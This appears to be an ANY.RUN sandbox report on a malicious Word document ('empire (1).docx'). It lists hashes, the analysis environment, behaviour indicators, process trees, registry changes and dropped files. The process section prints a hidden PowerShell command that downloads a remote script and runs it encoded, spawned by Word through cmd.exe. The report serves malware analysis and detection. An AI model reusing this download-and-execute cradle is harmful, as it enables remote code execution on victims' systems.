Malware analysis empire (1).docx Malicious activity | ANY.RUN

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File name:	empire (1).docx
Full analysis:	https://app.any.run/tasks/5a308715-30a4-4e49-90b4-47ff58a3678c
Verdict:	Malicious activity
Analysis date:	April 25, 2019, 19:12:24
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME:	application/octet-stream
File info:	Microsoft OOXML
MD5:	7DF4C67AC50A5E74953F749A9EE7CC7C
SHA1:	1DDE9B04C2190386DE39CF23E3A5D4B102B7070C
SHA256:	DCB0D60CBDE25078DE45992EE298C3FC1BCA91A06E67A522C04697CCD55ABFB4
SSDEEP:	192:uz5I41o5SQsL5YjgIplZ8VPkf+CFk4ie5t1Y2VveFLC9F/0c6PIMl/:ule5SxLQjlx995o2VvWwMl/

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Launch configuration

Task duration:: 180 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 120 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 2804)
- Starts CMD.EXE for commands execution
  - WINWORD.EXE (PID: 2804)
- Executes PowerShell scripts
  - cmd.exe (PID: 4040)
SUSPICIOUS
- Application launched itself
  - powershell.exe (PID: 2480)
- Creates files in the user directory
  - powershell.exe (PID: 2480)
  - powershell.exe (PID: 3500)
- Executes PowerShell scripts
  - powershell.exe (PID: 2480)
INFO
- Creates files in the user directory
  - WINWORD.EXE (PID: 2804)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2804)

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No Malware configuration.

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TRiD

.docx	\|	Word Microsoft Office Open XML Format document (52.2)
.zip	\|	Open Packaging Conventions container (38.8)
.zip	\|	ZIP compressed archive (8.8)

EXIF

ZIP

ZipRequiredVersion:	20
ZipBitFlag:	-
ZipCompression:	Deflated
ZipModifyDate:	2019:04:02 13:35:08
ZipCRC:	0xe22f9ba5
ZipCompressedSize:	337
ZipUncompressedSize:	1311
ZipFileName:	[Content_Types].xml

XMP

Title:	-
Subject:	-
Creator:	Administrator
Description:	-

XML

Keywords:	-
LastModifiedBy:	Administrator
RevisionNumber:	1
CreateDate:	2017:10:11 12:49:00Z
ModifyDate:	2017:10:11 12:51:00Z
Template:	Normal.dotm
TotalEditTime:	2 minutes
Pages:	1
Words:	12
Characters:	70
Application:	Microsoft Office Word
DocSecurity:	None
Lines:	1
Paragraphs:	1
ScaleCrop:	No
HeadingPairs:	Title 1
TitlesOfParts:	-
Company:	-
LinksUpToDate:	No
CharactersWithSpaces:	81
SharedDoc:	No
HyperlinksChanged:	No
AppVersion:	16

No data.

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

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Process information

PID

CMD

Path

Indicators

Parent process

2480

powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://192.168.1.1:80/default.ps1');powershell -noP -sta -w 1 -enc $e

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

2804

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\empire (1).docx"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

3500

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

4294770688

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

4040

C:\Windows\System32\cmd.exe /k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://192.168.1.1:80/default.ps1');powershell -noP -sta -w 1 -enc $e

C:\Windows\System32\cmd.exe

—

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

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Total events

1 799

Read events

1 067

Write events

727

Delete events

Modification events


(PID) Process:	(2804) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	;t=
Value: 3B743D00F40A0000010000000000000000000000
(PID) Process:	(2804) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2804) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2804) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1318649886
(PID) Process:	(2804) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1318650008
(PID) Process:	(2804) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1318650009
(PID) Process:	(2804) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: F40A0000442761DA9AFBD40100000000
(PID) Process:	(2804) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	4u=
Value: 34753D00F40A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2804) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	4u=
Value: 34753D00F40A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2804) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2804	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVRFC1B.tmp.cvr		—
		MD5:—	SHA256:—
2480	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5TM7ZC37SSA71NEOGHPN.temp		—
		MD5:—	SHA256:—
3500	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DFNZR55GGYHKFTUUBBQV.temp		—
		MD5:—	SHA256:—
2480	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF131456.TMP		binary
		MD5:—	SHA256:—
2480	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
2804	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
2804	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$pire (1).docx		pgc
		MD5:—	SHA256:—
3500	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13181f.TMP		binary
		MD5:—	SHA256:—
3500	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—

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General Info

empire (1).docx

7DF4C67AC50A5E74953F749A9EE7CC7C

1DDE9B04C2190386DE39CF23E3A5D4B102B7070C

DCB0D60CBDE25078DE45992EE298C3FC1BCA91A06E67A522C04697CCD55ABFB4

192:uz5I41o5SQsL5YjgIplZ8VPkf+CFk4ie5t1Y2VveFLC9F/0c6PIMl/:ule5SxLQjlx995o2VvWwMl/

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Starts CMD.EXE for commands execution

Executes PowerShell scripts

SUSPICIOUS

Application launched itself

Creates files in the user directory

Executes PowerShell scripts

INFO

Creates files in the user directory

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

ZIP

XMP

XML

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